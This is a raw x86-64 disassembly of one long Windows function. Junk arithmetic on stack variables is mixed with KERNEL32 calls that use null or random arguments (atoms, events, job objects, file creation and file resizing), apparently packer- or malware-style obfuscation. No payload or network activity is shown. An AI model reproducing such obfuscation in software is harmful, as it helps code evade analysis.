mov rcx, qword [rsp + 0x1a938]
mov dword [rcx], eax
mov eax, dword [rsp + 0xdce8]
mov dword [rsp + 0xdf80], eax
movzx eax, word [rsp + 0x2468]
mov word [0x1402bf360], ax
mov rax, qword [rsp + 0x1a280]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x88]
xor eax, ecx
mov byte [rsp + 0x7c8], al
movzx eax, byte [rsp + 0x7f7]
mov rcx, qword [rsp + 0x19f70]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x82a], al
movzx eax, word [rsp + 0x37fc]
mov word [rsp + 0x3bcc], ax
mov rax, qword [rsp + 0x19b28]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x1ac58]
mov qword [rsp + 0x1aeb0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x1aeb0]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x19e50]
mov dword [rcx], eax
mov rax, qword [rsp + 0x19f00]
mov eax, dword [rax]
mov dword [rsp + 0xdf84], eax
mov eax, dword [rsp + 0x9018]
mov rcx, qword [rsp + 0x1ae90]
mov qword [rsp + 0x1aeb8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x1aeb8]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0x19df8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x1acb8]
mov ecx, dword [rsp + 0xdbe0]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x1a338]
mov dword [rcx], eax
movzx ecx, word [rsp + 0x3b94]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x36d8], ax
mov rax, qword [rsp + 0x1a050]
mov ecx, dword [rsp + 0xa444]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x7ef0], eax
movzx eax, byte [0x1402acc8b]
movzx ecx, byte [rsp + 0x83a]
sub eax, ecx
mov byte [rsp + 0x69f], al
movzx eax, word [rsp + 0x3a7c]
movzx ecx, word [rsp + 0x24e8]
sub eax, ecx
mov word [0x1402bf65c], ax
mov rax, qword [rsp + 0x1aaa8]
mov eax, dword [rax]
mov dword [rsp + 0xdf88], eax
mov rax, qword [rsp + 0x1a3e0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd758]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x19c78]
mov dword [rcx], eax
mov rax, qword [rsp + 0x19750]
mov eax, dword [rax]
mov dword [rsp + 0xdf8c], eax
mov rax, qword [rsp + 0x1aaa8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa554]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xc3fc], eax
mov rax, qword [0x1402bf428]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2c50]
and eax, ecx
mov rcx, qword [rsp + 0x1a8f8]
mov word [rcx], ax
movzx eax, byte [rsp + 0x2fd]
movzx ecx, byte [rsp + 0x894]
imul eax, ecx
mov byte [rsp + 0x4ae], al
movsx eax, byte [rsp + 0x78b]
movsx ecx, byte [rsp + 0x83c]
add eax, ecx
mov byte [rsp + 0x7f5], al
mov rax, qword [rsp + 0x19ec8]
movzx eax, word [rax]
mov word [rsp + 0x3bd0], ax
mov rax, qword [rsp + 0x1ad28]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd388]
sub ecx, eax
mov eax, ecx
mov dword [0x1402ad924], eax
mov rax, qword [rsp + 0x1abc0]
mov rcx, qword [rsp + 0x1a3c0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xdd78], eax
movzx eax, byte [rsp + 0x868]
mov rcx, qword [rsp + 0x1a878]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x81d], al
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x1aec0], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LockResource]
movzx eax, word [rsp + 0x1cbc]
mov word [rsp + 0x3bd4], ax
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [rsp + 0xd728], eax
movzx ecx, word [rsp + 0x3b38]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x3bd8], ax
mov eax, dword [rsp + 0xbfa4]
movzx ecx, al
mov eax, dword [0x1402ad6d4]
shl eax, cl
mov dword [rsp + 0xdde0], eax
mov rax, qword [rsp + 0x1a968]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xcfdc]
shr eax, cl
mov dword [rsp + 0x9398], eax
mov rax, qword [rsp + 0x19f18]
mov ecx, dword [0x1402ad794]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0xd3d8], eax
mov rax, qword [rsp + 0x19c58]
mov rcx, qword [rsp + 0x1adf0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xd790], eax
movzx eax, word [rsp + 0x3b48]
mov word [rsp + 0x3bdc], ax
mov rax, qword [0x1402bf490]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x73]
sub eax, ecx
mov byte [0x1402bf711], al
mov eax, dword [rsp + 0xcf20]
mov ecx, dword [rsp + 0x8d34]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xd89c], eax
mov rax, qword [rsp + 0x1acd8]
mov eax, dword [rax]
mov dword [rsp + 0xdf90], eax
lea rcx, [rsp + 0x2d770]
call qword [sym.imp.KERNEL32.dll_GetVersionExW]
mov dword [rsp + 0xcf44], eax
mov rax, qword [rsp + 0x1ab68]
mov rcx, qword [rsp + 0x1ae68]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xd4a8], eax
mov rax, qword [rsp + 0x19c58]
mov rcx, qword [rsp + 0x1a928]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x960c], eax
mov rax, qword [rsp + 0x1add8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xda2c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x1ac38]
mov dword [rcx], eax
mov rax, qword [rsp + 0x1a870]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x78b]
sub eax, ecx
mov byte [rsp + 0x4ff], al
mov rax, qword [rsp + 0x1a118]
movzx eax, word [rax]
mov word [rsp + 0x3be0], ax
mov rax, qword [rsp + 0x1a930]
movzx eax, word [rax]
imul eax, eax, 0x49e
mov word [rsp + 0x3744], ax
lea rax, [rsp + 0x68f]
mov qword [0x1402bf358], rax
mov eax, dword [rsp + 0xddd4]
mov dword [rsp + 0xdf94], eax
mov eax, dword [rsp + 0x86e8]
mov ecx, dword [rsp + 0xd834]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xa25c], eax
movzx eax, byte [rsp + 0x662]
movzx ecx, byte [rsp + 0x893]
add eax, ecx
mov byte [rsp + 0x7cb], al
movzx eax, word [rsp + 0x1ec0]
mov word [rsp + 0x3be4], ax
mov rax, qword [0x1402bf718]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x1a6f8]
mov qword [rsp + 0x1aec8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x1aec8]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0xdce8], eax
mov r9d, 2
lea r8, [rsp + 0x1ad00]
mov rdx, qword [rsp + 0x1aed0]
mov rcx, qword [rsp + 0x19b00]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0xd2ec], eax
mov rax, qword [rsp + 0x1a410]
mov ecx, dword [rsp + 0xa2a0]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xc220], eax
mov eax, dword [rsp + 0xdd68]
movzx ecx, al
mov eax, dword [rsp + 0xba14]
sar eax, cl
mov dword [rsp + 0xa210], eax
mov rax, qword [rsp + 0x19a70]
mov ecx, dword [rsp + 0xd570]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0xce64], eax
mov rax, qword [rsp + 0x1a9f0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x19908]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x1402acba3], al
lea rax, [rsp + 0x364c]
mov qword [rsp + 0x1aed8], rax
mov eax, dword [rsp + 0x93f0]
mov ecx, dword [rsp + 0xd7b4]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xd9f0], eax
mov rax, qword [rsp + 0x1a080]
mov eax, dword [rax]
mov dword [rsp + 0xdf98], eax
mov rax, qword [rsp + 0x1a190]
movsx eax, word [rax]
movsx ecx, word [0x1402ad63c]
add eax, ecx
mov word [rsp + 0x2c28], ax
mov rax, qword [rsp + 0x1aba8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x858]
add eax, ecx
mov rcx, qword [rsp + 0x19d50]
mov byte [rcx], al
mov rax, qword [rsp + 0x1a730]
movzx eax, byte [rax]
mov byte [rsp + 0x8c1], al
mov rax, qword [rsp + 0x1a500]
movzx eax, word [rax]
movzx ecx, word [0x1402ad640]
sub eax, ecx
mov word [rsp + 0x22dc], ax
mov eax, dword [rsp + 0xd404]
mov ecx, dword [rsp + 0x8700]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa79c], eax
mov eax, dword [rsp + 0xda24]
mov ecx, dword [rsp + 0xdc74]
add ecx, eax
mov eax, ecx
mov dword [0x1402ad80c], eax
mov rax, qword [0x1402bf3b0]
mov ecx, dword [rsp + 0xcf00]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xd488], eax
mov rax, qword [rsp + 0x1a948]
mov eax, dword [rax]
mov dword [rsp + 0xdf9c], eax
mov rax, qword [rsp + 0x19b18]
mov rcx, qword [rsp + 0x1a9e0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xd52c], eax
mov rax, qword [0x1402bf530]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x3b58]
and eax, ecx
mov word [rsp + 0x3a40], ax
movzx eax, byte [rsp + 0x7b7]
mov byte [rsp + 0x8c2], al
mov rax, qword [rsp + 0x19e90]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xde50]
sar eax, cl
mov dword [rsp + 0xcf90], eax
lea rcx, str.Ycf_Kn2fkc_WOXyBQ3W_UQC0J
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x3b88], ax
mov eax, dword [rsp + 0xdc58]
mov ecx, dword [rsp + 0xd10c]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xa5a4], eax
lea rdx, [rsp + 0x1ad40]
mov rcx, qword [rsp + 0x1ab18]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0xcf84], eax
mov rax, qword [rsp + 0x1a098]
mov rcx, qword [rsp + 0x1a990]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0xd340], eax
mov rax, qword [rsp + 0x1a5e0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xd5fc]
shl eax, cl
mov dword [0x1402ad928], eax
mov rax, qword [rsp + 0x19908]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x1a6c0]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x1a310]
mov byte [rcx], al
movzx eax, word [rsp + 0x39a4]
mov word [rsp + 0x3be8], ax
mov dword [rsp + 0x2dad0], 0x114
movsx eax, word [0x1402ad918]
movsx ecx, word [rsp + 0x35ac]
add eax, ecx
mov word [rsp + 0x3a0c], ax
mov rax, qword [rsp + 0x1a270]
movzx eax, byte [rax]
mov byte [rsp + 0x8c3], al
mov eax, dword [rsp + 0xcff4]
mov ecx, dword [rsp + 0xde9c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x86e8], eax
mov rax, qword [0x1402bf390]
mov rcx, qword [rsp + 0x1ab40]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x1ac10]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x89d]
movzx ecx, byte [rsp + 0x7d5]
add eax, ecx
mov byte [rsp + 0x24a], al
movzx eax, word [rsp + 0x3a24]
movzx ecx, word [rsp + 0x1de0]
sub eax, ecx
mov word [rsp + 0x24e8], ax
mov rcx, qword [rsp + 0x19db0]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0xd4e0], eax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0xd200], eax
mov rax, qword [rsp + 0x1a5f0]
mov rcx, qword [rsp + 0x1acc0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [0x1402bf670]
mov dword [rcx], eax
mov rax, qword [rsp + 0x1a588]
mov eax, dword [rax]
mov dword [rsp + 0xdfa0], eax
mov rax, qword [rsp + 0x1a6f0]
mov ecx, dword [rsp + 0xd4d8]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xd788], eax
lea rax, [rsp + 0xd584]
mov qword [rsp + 0x1aee0], rax
mov rax, qword [rsp + 0x1a218]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x19a08]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x841], al
mov rax, qword [rsp + 0x1a500]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x38a0]
sub eax, ecx
mov word [rsp + 0x3ab4], ax
mov rax, qword [rsp + 0x1adf0]
mov eax, dword [rax]
mov dword [rsp + 0xdfa4], eax
mov rax, qword [rsp + 0x1abc0]
mov ecx, dword [rsp + 0xb9f4]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xdbd0], eax
mov rax, qword [rsp + 0x19f58]
mov eax, dword [rax]
mov rcx, qword [0x1402bf740]
mov qword [rsp + 0x1aee8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x1aee8]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x9f64], eax
mov eax, dword [rsp + 0x83c0]
mov dword [0x1402bf350], eax
mov rax, qword [rsp + 0x1a1e8]
mov rcx, qword [rsp + 0x19e80]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0xd5dc], eax
mov rax, qword [0x1402bf4a0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x889]
or eax, ecx
mov byte [rsp + 0x8b6], al
mov rax, qword [rsp + 0x1a540]
movzx eax, word [rax]
mov word [rsp + 0x3bec], ax
movzx eax, word [rsp + 0x2e88]
mov rcx, qword [0x1402bf408]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x3a70], ax
mov rax, qword [rsp + 0x19f70]
movzx eax, byte [rax]
mov byte [rsp + 0x8c4], al
mov rax, qword [rsp + 0x1a4e0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd640]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xd86c], eax
mov rax, qword [rsp + 0x19c98]
mov rcx, qword [0x1402bf5c0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xdbe0], eax
movzx eax, word [rsp + 0x35c4]
mov word [rsp + 0x3bf0], ax
movzx eax, byte [rsp + 0x876]
movzx ecx, byte [rsp + 0x860]
add eax, ecx
mov rcx, qword [0x1402bf430]
mov byte [rcx], al
mov eax, dword [rsp + 0xd528]
mov ecx, dword [rsp + 0xd634]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xd098], eax
mov rax, qword [rsp + 0x198c0]
mov rcx, qword [rsp + 0x1a5b0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xab90], eax
mov rax, qword [rsp + 0x1a428]
mov rcx, qword [rsp + 0x19f18]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xd2a4], eax
lea rcx, [rsp + 0x2af28]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov rax, qword [0x1402bf740]
mov rcx, qword [rsp + 0x1aaa8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xdd20], eax
mov rax, qword [rsp + 0x1ae18]
movzx eax, word [rax]
mov word [rsp + 0x3bf4], ax
movzx eax, byte [rsp + 0x7a8]
movzx ecx, byte [rsp + 0x898]
sub eax, ecx
mov byte [rsp + 0x799], al
mov eax, dword [rsp + 0xcef4]
mov dword [rsp + 0xdfa8], eax
mov eax, dword [rsp + 0xd7e0]
mov ecx, dword [rsp + 0xd228]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xd348], eax
movsx eax, word [rsp + 0x3ba8]
mov rcx, qword [rsp + 0x19890]
movsx ecx, word [rcx]
sar eax, cl
mov word [0x1402ad92c], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], ILIsParent
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 2
mov edx, 0x80000000
lea rcx, str.ShFERVfP40teL
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x1aef0], rax
movsx eax, byte [rsp + 0x8b7]
movsx ecx, byte [rsp + 0x890]
xor eax, ecx
mov byte [rsp + 0x37d], al
mov rax, qword [rsp + 0x1a1f0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x3a00]
shl eax, cl
mov word [rsp + 0x2874], ax
movzx eax, byte [0x1402acc06]
movzx ecx, byte [rsp + 0x7bc]
cdq
idiv ecx
mov byte [rsp + 0x13f], al
mov rax, qword [rsp + 0x196e0]
mov eax, dword [rax]
mov dword [rsp + 0xdfac], eax
mov rax, qword [rsp + 0x1aa00]
mov ecx, dword [rsp + 0x7fc0]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xd918], eax
mov eax, dword [rsp + 0xd8a0]
mov dword [rsp + 0xdfb0], eax
mov eax, dword [rsp + 0xd5a8]
mov ecx, dword [rsp + 0xcec4]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xdf1c], eax
mov rax, qword [rsp + 0x1a9e8]
mov ecx, dword [0x1402ad6d4]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x93c4], eax
movzx eax, word [rsp + 0x1df4]
movzx ecx, word [rsp + 0x2874]
add eax, ecx
mov word [rsp + 0x2b60], ax
mov rax, qword [rsp + 0x1a660]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x809]
sub eax, ecx
mov byte [0x1402acbee], al
mov rax, qword [0x1402bf6c0]
mov rcx, qword [rsp + 0x1ae30]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xcf80], eax
mov r9d, 2
lea r8, [rsp + 0x19718]
mov rdx, qword [rsp + 0x1a670]
mov rcx, qword [rsp + 0x1a3b8]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0xd168], eax
lea rax, [rsp + 0xb1f4]
mov qword [rsp + 0x1aef8], rax
mov rax, qword [rsp + 0x1a9e0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xda18]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x95c8], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0x1a380]
mov ecx, dword [rsp + 0xd7e8]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x1ae20]
mov dword [rcx], eax
movzx eax, word [rsp + 0x396c]
mov word [rsp + 0x3bf8], ax
mov rax, qword [rsp + 0x1a9f0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x19e38]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x883], al
movzx eax, byte [str._v_ap]
mov byte [rsp + 0x8c5], al
movsx eax, word [rsp + 0x37e4]
movsx ecx, word [rsp + 0x365c]
sub eax, ecx
mov word [rsp + 0x38f0], ax
lea rax, [rsp + 0xd724]
mov qword [0x1402bf348], rax
call qword [sym.imp.KERNEL32.dll_AreFileApisANSI]
mov dword [rsp + 0xcd74], eax
movzx ecx, word [rsp + 0x35d4]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x37e0], ax
mov rax, qword [0x1402bf718]
mov rcx, qword [rsp + 0x19ef8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xd31c], eax
mov rax, qword [rsp + 0x19860]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x1a2d8]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x1e2], al
mov rax, qword [rsp + 0x1a2e8]
movzx eax, word [rax]
movzx ecx, word [0x1402bf524]
or eax, ecx
mov word [rsp + 0x28dc], ax
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
mov dword [rsp + 0xdb4c], eax
mov eax, dword [rsp + 0xcd1c]
mov dword [rsp + 0xdfb4], eax
mov eax, dword [rsp + 0xcdf4]
mov ecx, dword [rsp + 0xd5c4]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x1a250]
mov dword [rcx], eax
mov rax, qword [rsp + 0x19c98]
mov eax, dword [rax]
mov dword [rsp + 0xdfb8], eax
mov eax, dword [rsp + 0xb000]
movzx ecx, al
mov eax, dword [0x1402ad7c0]
shl eax, cl
mov dword [rsp + 0xdd5c], eax
mov rax, qword [rsp + 0x1aa18]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x1a638]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x716], al
movzx eax, word [rsp + 0x36b8]
mov rcx, qword [0x1402bf668]
movzx ecx, word [rcx]
imul eax, ecx
mov word [0x1402ad930], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [rsp + 0xdfbc], eax
mov rax, qword [rsp + 0x19b28]
mov eax, dword [rax]
mov dword [rsp + 0xdfc0], eax
mov eax, dword [rsp + 0xdb3c]
mov ecx, dword [rsp + 0xd2b8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x9498], eax
mov rax, qword [rsp + 0x19c30]
mov ecx, dword [0x1402ad734]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa268], eax
mov rax, qword [rsp + 0x1aca8]
mov ecx, dword [rsp + 0x9c50]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x19c60]
mov dword [rcx], eax
mov rax, qword [rsp + 0x1adf8]
mov rcx, qword [rsp + 0x1aad8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xcef4], eax
movzx eax, byte [rsp + 0x800]
mov byte [rsp + 0x8c6], al
mov rax, qword [rsp + 0x1a7e8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x269c]
sub eax, ecx
mov word [rsp + 0x38d8], ax
mov rax, qword [rsp + 0x1a868]
movzx eax, byte [rax]
mov byte [rsp + 0x8c7], al
mov rax, qword [rsp + 0x198e8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1cec]
and eax, ecx
mov word [0x1402ad648], ax
mov eax, dword [rsp + 0xd8f0]
mov ecx, dword [rsp + 0xceac]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x1a0d0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x1a680]
mov ecx, dword [0x1402bf388]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xd578], eax
lea rax, [rsp + 0x3900]
mov qword [rsp + 0x1af00], rax
mov rax, qword [rsp + 0x1a2b0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x19c70]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x1e2], al
mov rax, qword [rsp + 0x1a990]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x1a108]
mov qword [rsp + 0x1af08], rcx
movzx ecx, al
mov rax, qword [rsp + 0x1af08]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x856c], eax
mov eax, dword [rsp + 0xda6c]
mov rcx, qword [rsp + 0x1aea0]
mov qword [rsp + 0x1af10], rcx
movzx ecx, al
mov rax, qword [rsp + 0x1af10]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0xc6ac], eax
lea rax, [rsp + 0xda38]
mov qword [rsp + 0x1af18], rax
mov rax, qword [rsp + 0x19cf0]
mov ecx, dword [rsp + 0xb2dc]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x1a830]
mov dword [rcx], eax
mov rax, qword [rsp + 0x19a28]
movzx eax, word [rax]
mov word [0x1402bf342], ax
movzx eax, byte [rsp + 0x468]
mov rcx, qword [rsp + 0x1a0c0]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x7da], al
mov eax, dword [0x1402ad774]
mov dword [rsp + 0xdfc4], eax
mov rax, qword [rsp + 0x1a990]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x95c0]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xdf3c], eax
movzx eax, byte [rsp + 0x513]
mov byte [rsp + 0x8c8], al
mov rax, qword [rsp + 0x19ec8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x19ca8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x31a4], ax
mov rax, qword [rsp + 0x1a378]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1a94]
sub eax, ecx
mov word [rsp + 0x2978], ax
mov rax, qword [rsp + 0x1a980]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x7b5]
add eax, ecx
mov byte [rsp + 0x2b2], al
mov rax, qword [rsp + 0x1a250]
mov eax, dword [rax]
mov ecx, dword [0x1402bf6d8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xcc40], eax
mov rax, qword [rsp + 0x1ae68]
mov rcx, qword [rsp + 0x1ab78]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [0x1402bf6e0], eax
lea rax, [0x1402ad7f8]
mov qword [rsp + 0x1af20], rax
mov rcx, qword [rsp + 0x1a648]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0xd910], eax
mov rax, qword [rsp + 0x1ae30]
mov rcx, qword [rsp + 0x1a380]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x19910]
mov dword [rcx], eax
mov ecx, 8
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
mov dword [rsp + 0xd3e4], eax
mov rax, qword [rsp + 0x19d70]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd1bc]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xdb54], eax
movzx eax, word [0x1402ad8b0]
mov word [rsp + 0x3bfc], ax
lea rcx, [rsp + 0x2d770]
call qword [sym.imp.KERNEL32.dll_GetVersionExW]
mov dword [rsp + 0xdfc8], eax
movzx eax, byte [rsp + 0x833]
imul eax, eax, 0xac
mov rcx, qword [rsp + 0x19830]
mov byte [rcx], al
mov eax, dword [rsp + 0xadb0]
mov dword [rsp + 0xdfcc], eax
mov edx, 0x51bf88
mov rcx, qword [rsp + 0x1a7a0]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0xd7ec], eax
mov rax, qword [rsp + 0x19e18]
mov ecx, dword [0x1402bf780]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xdda4], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0xd41c], eax
mov eax, dword [rsp + 0xd5f0]
mov ecx, dword [rsp + 0xcf1c]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0xd8e4], eax
mov rax, qword [rsp + 0x1a938]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x199c8]
mov qword [rsp + 0x1af28], rcx
movzx ecx, al
mov rax, qword [rsp + 0x1af28]
mov eax, dword [rax]
shl eax, cl
mov dword [0x1402ad934], eax
mov rax, qword [0x1402bf668]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x19950]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x21ec], ax
mov rax, qword [rsp + 0x19948]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x19d90]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x7e9], al
mov rax, qword [rsp + 0x19e30]
movzx eax, byte [rax]
mov byte [rsp + 0x8c9], al
movsx eax, word [rsp + 0x3aec]
mov rcx, qword [rsp + 0x19768]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x3624], ax
mov eax, dword [rsp + 0xdb74]
mov dword [rsp + 0xdfd0], eax
mov eax, dword [rsp + 0xddf4]
mov ecx, dword [rsp + 0xd438]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xc67c], eax
mov rax, qword [rsp + 0x1a2b0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x1a638]
movzx ecx, byte [rcx]
imul eax, ecx
mov byte [rsp + 0x7e9], al
movzx eax, word [rsp + 0x25e0]
movzx ecx, word [rsp + 0x39a4]
add eax, ecx
mov word [rsp + 0x26bc], ax
mov rax, qword [rsp + 0x1a250]
mov eax, dword [rax]
mov ecx, dword [0x1402ad8e0]
add ecx, eax
mov eax, ecx
mov dword [0x1402bf36c], eax
mov rax, qword [rsp + 0x198f0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xdaf4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xd4f0], eax
lea rax, [rsp + 0xc4b0]
mov qword [rsp + 0x1af30], rax
mov eax, dword [rsp + 0xdbe4]
mov ecx, dword [0x1402ad69c]
sub ecx, eax
mov eax, ecx
